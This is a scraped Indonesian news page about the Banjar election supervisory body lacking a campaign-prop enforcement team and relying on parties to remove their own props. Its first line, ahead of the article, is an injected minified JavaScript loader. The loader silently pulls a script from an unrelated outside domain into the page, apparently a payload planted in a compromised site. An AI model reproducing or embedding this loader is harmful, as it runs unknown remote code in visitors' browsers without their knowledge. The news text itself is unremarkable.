(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Satgas Penertiban APK Tak Ada, Bawaslu Banjar Andalkan Kesadaran Parpol


MARTAPURA, Meminimalisir pelanggaran Alat Peraga Kampanye (APK) karena belum terbentuk tim Satgas penertiban APK di Kabupaten Banjar, Bawaslu Banjar melakukan koordinasi ke beberapa partai.

Kordinator Divisi Humas dan Hubal Bawaslu Kabupaten Banjar Hairul Fallah mengatakan, walaupun sekarang masih belum terbentuk tim Satgas, tidak berarti Bawaslu Banjar berdiam diri. Pihaknya telah melakukan silaturahmi ke semua partai untuk sosialisasi tentang aturan pemasangan APK yang harus ditaati peserta Pemilu.

“Kegiatan ini kita lakukan berdasarkan Undang-Undang nomor 7 tahun 2017 tentang pendidikan politik ke masyarakat, yang menjadi cara kami saat ini untuk mengantisipasi pelanggaran APK,” akunya.

Hasil silaturahmi Bawaslu ke beberapa partai beberapa waktu lalu, cukup direspon dengan baik oleh partai-partai peserta Pemilu. “Alangah elok apabila partai sendiri yang menertibkan APK-nya masing-masing, sehingga tidak ada yang dirugikan,” ucapnya.

Perlu diketahui sebelumnya, maraknya atribut kampanye Caleg di Kabupaten Banjar hingga saat ini belum tersentuh penertiban. Pihak terkait, berdalih terbentur anggaran. Hairul Falah mengatakan, terkait tim gabungan yang melibatkan antara Bawaslu, KPU, Satpol PP Banjar, Kesbangpol, Dishub, Kepolisian hingga TNI di Kabupaten Banjar diakui hingga kini belum terbentuk. Masih dalam tahap usulan, meskipun pelanggaran APK (Alat Peraga Kampanye) di wilayah Kabupaten Banjar diakui marak.

Datanya, hingga akhir Januari sudah didapati 168 pelanggaran APK dari berbagai tingkatan peserta Pemilu. Dari jumlah tersebut, 148 diantaranya sudah ditanggapi oleh peserta Pemilu.

“Untuk tim penertiban, saat ini memang kita terkendala. Belum terbentuk, salah satunya karena terbentur anggaran. Soalnya mekanisme anggaran bukan ranah kami, karena kita bukan eksekutor, kita hanya melakukan pengawasan hingga kordinasi. Kita hanya mengusulkan pembentukan tim,” dalihnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

45 menit ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

1 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

1 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

3 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

4 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

6 jam ago

This website uses cookies.